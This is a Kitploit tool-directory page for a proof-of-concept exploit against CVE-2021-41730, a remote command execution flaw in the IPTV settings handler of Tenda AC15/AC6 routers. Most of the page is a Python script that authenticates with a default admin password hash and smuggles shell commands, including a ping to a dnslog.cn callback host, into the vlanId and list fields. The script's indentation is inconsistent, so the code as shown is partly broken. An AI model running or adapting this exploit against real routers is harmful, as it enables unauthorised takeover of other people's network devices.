Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41730 — Proof-of-concept exploit for CVE-2021-41730, demonstrating remote command execution in TENDA AC15/AC6 routers via unvalidated formSetIptv() parameters. Includes Python POC and vulnerability analysis. | Kitploit
Tools/GitHubGitHub/yezeting/cve-2021-41730
Embedded Systems SecurityPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlHardware & IoT Security
GitHubyezeting/cve-2021-41730

CVE-2021-41730

Proof-of-concept exploit for CVE-2021-41730, demonstrating remote command execution in TENDA AC15/AC6 routers via unvalidated formSetIptv() parameters. Includes Python POC and vulnerability analysis.

44 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

TENDA Authorization Remote Command Execution

Exploit Author: SHENGXI HUANG([email protected])
Vender: TENDA

CVE-2021-41730 - /bin/httpd

Firmware version:
AC15: <=US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin
AC6: US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.......
Hardware Link: https://www.tendacn.com/en/download/detail-3858.html

The detail of vulnerability

In the httpd binary,Due to the lack of valid verification, attackers can tamper with the values of stbEn, igmpEn, iptvType, vlanId and List fields in packets to realize a series of circumvention, resulting in remote arbitrary command execution vulnerability.

Vulnerability trigger function

formSetIptv()
image

Actual vulnerability trigger function

sub_B0F14() / sub_B1100() image

sub_B0F14()

image

sub_B1100()

image

Burpsuite intercept

image

POC

root@kitploit:~
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

def POC(ip,cmd1,cmd2,pwd):
    try:
        body = {
            'username': 'admin',
            'password': pwd
        }
        headers = {
            'Host': ip,
            'Accept': '*/*',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': 'http://' + ip,
            'Referer': 'http://' + ip + '/login.html',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.9',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close'
        }
        r = requests.post(url="http://" + ip + "/login/Auth",
                          data=body,
                          headers=headers,
                          allow_redirects=False )
        password = r.headers['Set-Cookie'].strip("password=").strip("; path=/")
        try:
            body = {
                'stbEn':'1',
                'igmpEn':'0',
                'iptvType':'manual',
                'vlanId':cmd1,
                'list':cmd2 }
           headers = {
                'Host': ip,
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': 'http://'+ip,
                'Referer': 'http://'+ip+'/iptv.html?random=0.5429353367490362&',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Cookie': 'password='+password,
                'Content-Type':'application/x-www-form-urlencoded'}
           r = requests.post(url="http://" + ip + "/goform/SetIPTVCfg",
                              data=body,
                              headers=headers,
                             allow_redirects=False)
            print(r.text)
       except Exception as e:
           print("[error]:", ip)
    except Exception as e:
        print("[error]:", ip)


if __name__ == "__main__":
    ip = '192.168.0.1'
    cmd1 = '1";ping -c 5 fry8vd.dnslog.cn;echo "'
    cmd2 =  '1";echo 2>/tmp/hello3.txt;echo "'
    password = '21232f297a57a5a743894a0e4a801fc3'
    POC(ip,cmd1,cmd2,password)

DEMO

Watch the video

Download Tool